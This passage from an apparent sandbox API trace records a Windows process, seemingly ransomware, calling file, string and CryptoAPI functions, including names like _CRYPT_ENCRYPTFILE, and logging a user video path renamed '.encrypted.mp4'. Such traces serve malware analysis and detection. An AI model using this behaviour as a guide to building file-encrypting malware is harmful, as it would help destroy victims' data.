lpsz="byte[8530]") returned 0xa [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.695] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.695] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.695] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.696] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.697] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.697] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.697] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.697] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.697] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.698] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.698] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.699] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.699] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11638) returned 1 [0029.699] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.699] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.699] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.699] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2d76, lpOverlapped=0x0) returned 1 [0029.700] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.700] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2d76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.700] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11638) returned 1 [0029.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.encrypted.mp4\r\n", cchWideChar=125, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 125 [0029.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.encrypted.mp4\r\n", cchWideChar=125, lpMultiByteStr=0xe8f4067580, cbMultiByte=125, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.encrypted.mp4\r\n", lpUsedDefaultChar=0x0) returned 125 [0029.700] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4067e80*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4067e80*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x7c, lpOverlapped=0x0) returned 1 [0029.700] CloseHandle (hObject=0x1fc) returned 1 [0029.701] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.701] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.701] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.702] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.702] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.702] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.702] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.703] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178880, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.703] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.703] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0029.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf", cchWideChar=87, lpMultiByteStr=0xe8f40699b0, cbMultiByte=87, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf", lpUsedDefaultChar=0x0) returned 87 [0029.704] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\pu_on 1.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=87, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0029.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=87, lpWideCharStr=0xe8f404b2f0, cchWideChar=87 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf") returned 87 [0029.704] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.705] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.705] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.705] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.705] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.706] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.706] CloseHandle (hObject=0x1fc) returned 1 [0029.706] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.706] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.706] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.706] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.706] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.707] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.707] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.707] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.707] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.707] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.707] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f41997e0) returned 1 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.708] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.708] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.708] PeekMessageW (in: 